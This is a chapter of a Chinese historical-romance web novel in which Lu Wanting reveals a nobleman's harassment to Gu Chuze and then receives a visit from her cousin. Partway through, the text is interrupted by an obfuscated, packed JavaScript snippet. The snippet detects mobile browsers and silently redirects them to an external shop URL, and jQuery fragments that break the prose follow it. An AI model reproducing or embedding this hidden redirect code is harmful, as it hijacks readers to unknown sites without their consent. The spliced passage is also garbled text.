昏暗的书房里,他们俩紧紧抱在一起,随时都可能有人推门进来。
陆婉婷靠在顾楚泽的怀里,心态从一开始被戳破秘密的恐惧,到被安慰的感动,再到清醒后背脊僵直。
似乎察觉到陆婉婷的异常,顾楚泽讷讷放开手,陆婉婷借机退出他的怀抱。
“你......”
“方才......”
顾楚泽与她不约而同出声,相互对视一眼,又撇开脸。
陆婉婷尴尬地脚趾抠地。
“你先说。”顾楚泽出声。
有了他的安抚后,陆婉婷冷静了下来。
既然顾楚泽已经发现闵公子的事,她也没必要隐瞒下去。
背负许久的秘密被顾楚泽揭开,一瞬间的恐慌后,陆婉婷的心里确有种大石落地的轻松感。
她施施然道:“方才多谢你的安慰,我感觉好多了。”
她把与闵公子的纠葛说了一遍。
顾楚泽静静地听她说那段不堪的往事,面沉如水。
说完后,陆婉婷替自己找补了一句:“不是我不想说,只因此事太过私密,说出来也难堪。原以为拒绝了闵公子,他会就此作罢。谁成想倒激起他的怒火。我也想不到他会来金陵逼我。”
顾楚泽垂下的手指捏得嘎吱作响,咬牙说道:“他可有对你强来?”
陆婉婷连忙摇头辩解。
“你放心,那天在瓦肆我已与闵公子说清楚,断不会污了自己的清白。我是顾清晏的妻,不会做出有损顾府名声的事。只是闵家毕竟权势滔天,也不知驳了他的面子,日后他们是否真的会放过我。”说到后面陆婉婷愈加心酸。
顾楚泽唰地起身去书架上翻出一个棕褐色木匣,啪地放在她身旁。
他打开木匣,从里面掏出一把带鞘的乌黑匕首,直直递到陆婉婷面前。
“这是......?”陆婉婷不解地看过去。
“这是我特地从江湖朋友手中收来的匕首,削铁如泥,你随身带着。”顾楚泽目光冰冷,“若他还敢接近你,你就用它防身。不过是仗势欺人的废物,竟敢欺到我们顾府头上来了!他虽是国舅之子,我们顾府就算落败,好歹也有爵位在身。若他还敢再胡来,就算闹到皇帝老儿那去,他也不占理!”
顾楚泽说着,眼里快喷出火来。
“你别怕,我把护卫长调到你身边,外出时随身保护你,府里也加强守卫。我会找人盯着他,若他敢直接闯进来,哼,让他见识小爷的箭,将他射成猪头!”
陆婉婷秋水盈盈盯着眼前放话要保护她的顾楚泽,眼角湿润。
她终于不是一个人面对这件糟心事,顾楚泽知道了真相后还选择护着她。
一股气堵在她喉间,让她说不出话来。
顾楚泽将匕首系在她腰间,抬头恨铁不成钢地瞪了她一眼,咬牙道:“你真是命大,这么大的事瞒着不说。若你真有三长两短,又要小爷我满金陵去找你吗?上次的事还没长教训?莫非也是他在背后生事?”
陆婉婷垂眸听训,缄默不语。
“我就说谁这么胆大,不仅当街将你掳走,还找人嫁祸你。不行,这口气小爷咽不下去,现在就去找他算账!”话音刚落,顾楚泽起身就朝外走。
陆婉婷情急之下,连忙跑去拉住他的手:“等等,别去!”
不说过去那件事他们没证据,就说现在找过去,顾楚泽被他们扣下怎么办?顾府不能再失去一个继承人了。她真是怕了顾楚泽说风就是雨的性格。
顾楚泽被她拉着,脚步只好慢下来,回头愤愤不平地瞪着她。
他低头瞅了眼交握的手,脸上的余怒渐消,红霞漫上耳垂。
陆婉婷这才反应过来,像被烫到一样松手,讷讷劝道:“此事应当从长计议。现在直接找去也无济于事。更何况,闵公子知道清晏那件事的内情。在没做好准备前,万不可打草惊蛇。”
听闻此事与他哥有关,顾楚泽愣了一秒,急不可耐地回身按住她双肩,急切地问:“此话当真?他真知道我哥的事?可他远在京城,又怎么知道其中内情。除非......是他们干的。或者他们闵家也与相关势力有所瓜葛。”
陆婉婷也与顾楚泽有同样的猜想。两人面色凝重,相互对视。
顾楚泽面似修罗:“哼,正好新仇旧仇,我与他们一并算了。”
陆婉婷担忧地瞧着他,提议从闵公子这边入手。
与其千日防贼,不如直接擒贼。
更何况此贼与顾清晏之死有关,是个重要的切入口。
她与顾楚泽达成一致,协力去查清真相。
那日开诚布公后,陆婉婷卸下负担后神清气爽,至少她不用再担心被顾府送出去。
现在她与顾楚泽决定联手,反击闵公子。
光是闵公子一人不可怕,可怕的是他依靠的势力。若打掉他的势力,闵公子也不过是个普通的纨绔而已。
而再一次勾引顾楚泽失败,也让陆婉婷重新审视这件事。
若能成功打击闵家势力,她也不必再忧心自身安全,无需继续勾引顾楚泽也能过得很好。没有非嫁给顾楚泽的必要了。
陆婉婷也不知是该松口气,还是怅然。
顾楚泽与她商量,他过段时日还是得回明道书院。书院里不少高门大户的子弟,他会想办法从他们口中旁敲侧击探听消息。
而顾府的财力物力均由陆婉婷调配,找人从码头这边打探消息。
**
这日,陆婉婷正翻着从顾楚泽那搬回来的账本,夏荷匆匆从外面进了屋子。
她看过去,夏荷恭敬请示道:“夫人,外面有位‘周公子’上门求见,说是要见您一面。”
周公子?
陆婉婷先是眉心紧蹙,随即小脸一亮。
是表哥!
他怎么找到这里来了?
她赶紧派人请周云帆去会客厅,她换身衣服就过去。
当她迈步进厅堂时,来回踱步的周云帆看到她,连忙向她走来。
“表妹!”
“表哥。”陆婉婷莞尔一笑。这是她成婚后第一个上门来看她的娘家人。
周云帆上下打量她,眉毛紧蹙:“怎地瘦这么多!听闻你重病在床,我连拜帖都没来得及下,赶紧来瞧瞧你的情况。你的病如何了?可有找大夫好好医治?”
听了一连串关心她的话,陆婉婷心中一暖:“婉婷的身子早已无碍,表哥不必忧心。”
见她气色红润,周云帆紧锁的眉头舒展开来。
陆婉婷引他入座的间隙,下人将茶水沏好,将茶杯满上,静静退至角落候着。
他乡遇故知,陆婉婷难得这么开怀,笑得眉眼弯弯。
周云帆环视四周,一脸正色埋怨道:“表妹,上次见你,你怎么没说你是来金陵成亲的?连你的婚事我们都是最近才知道。刚得到消息说你嫁进顾府你夫君就出事了,你又重病在床。如此见外,你是没把我们当家人?你不知道外祖父听闻后,多伤心。”
陆婉婷面带忧伤:“外祖父身体可还好?多年未问候外祖父,又贸然在成婚时联系他,婉婷怕你们多想。此事是婉婷思虑不周。”
周云帆叹了口气。
陆婉婷夹在几乎断亲的母亲和外祖父之间,她偏向谁都会让另一方伤心。久不与外祖父联系,她也没脸去信回去。
“外祖父年纪大了,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17590566|205440||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
腿脚不便,已有人贴身照顾他。顾府待你,可好?”
“表哥放心,婉婷一切都好。顾夫人待婉婷亲如闺女,由婉婷执掌中馈。你们切莫忧心了。”
周云帆忧郁的双眼凝视着她,似乎要分辨她话中的真假。
陆婉婷正准备再说几句安抚他的话,外面传来顾楚泽的声音。
“哟,有贵客上门,难得难得。”顾楚泽大步迈进来,嘴上挂着不羁的笑容,挡在他俩中间,转脸看向周云帆,嘴上对陆婉婷说:“不介绍介绍?”
陆婉婷与周云帆双双起身,她给两人介绍:“这位是我的表哥周云帆,这位是顾府二公子,顾楚泽。表哥听闻婉婷身体有恙,千里迢迢来看望婉婷。”她后半句是在向顾楚泽解释。
顾楚泽眉毛一挑,皮笑肉不笑地说:“原来是嫂嫂的表哥,幸会幸会。”
自顾楚泽出现后,周云帆收敛心神,一本正经躬身作揖道:“原本不该如此匆忙上门。可在下听闻婉婷.....表妹身体有恙,实在忧心不已,未提前下拜帖就上门,属实是礼数不周,还请顾二公子多多海涵,莫要计较。”
顾楚泽脸上的笑意变深:“哦,表哥不必多礼。嫂嫂既嫁进顾府,我们顾府肯定不会亏待她。表哥不用担心我们会对她不好。”
陆婉婷眉头微蹙,不经意瞥了眼顾楚泽。
“既然顾二公子那么说,在下就放心了。”周云帆像是没听出他的阴阳怪气,当着顾楚泽的面对陆婉婷说:“表妹,此次上门一是为了看望你,知道你身体无恙,我和外祖父就安心了。”
“二是听闻你成婚,外祖父托我带了些礼添进你的嫁妆。因为来得匆忙,那六车的礼从临安运来。我今日先行一步来看你,明天就将礼送过来。外祖父托我转达,就算你嫁人了,手中有钱能使鬼推磨。你且用着,不够再去信给他。”
陆婉婷眼睫颤动。
十余年未联系的外祖父还惦记她,怕她被婆家欺负,千里迢迢给她添置嫁妆,这份心意弥足珍贵。
顾楚泽看了眼她,收起了身上的刺。
周云帆对顾楚泽说:“顾二公子,在下与表妹许久未见,外祖父有些体己话让在下交代。你看能否容在下与表妹单独说两句?不会耽搁太久。”
陆婉婷瞧见顾楚泽的剑眉一压,眼睛圆瞪,视线在她与周云帆之间扫过,表情扭曲:“顾府不至于这么小气,连让你们单独说话都不许。表哥难得来一趟金陵,不如过几天小爷邀你夜游秦淮河,领略金陵美景,如何?”
周云帆客气回道:“顾二公子客气了,在下此次受外祖父所托,事情办完了,还需早日回去给他老人家回话。就不劳烦顾二公子了。”
“行。既然表哥都这样说了,再说倒显得小爷咄咄逼人。”顾楚泽对陆婉婷轻声道:“你们聊,一会儿忙完了我找你说点事。”
顾楚泽有什么事要与她说?希望不是坏消息。
陆婉婷心中惴惴不安。
顾楚泽说完话,带着屋里的下人出去了。
他离开时,下人并未走远,在屋外廊下候着。
站在那里既听不到他们在屋内谈话的内容,又能随时进屋服侍。
顾楚泽离开后,屋里的气氛有所缓和。
周云帆板着脸:“表妹,方才你说的话不实。顾府哪里待你好了?你瞧瞧刚刚顾二公子的态度,他就不像是个好的。外面那几个下人是留下来监视我们吧?这么不放心你。”
“你可别为了安我们的心而敷衍我。若你在顾府过得真好,怎会偌大的府由你一人操持?上有重病婆母,下有不省心的小叔叔。”
“我越想越不对劲,不行,表妹,你还是跟我走吧!”周云帆提议。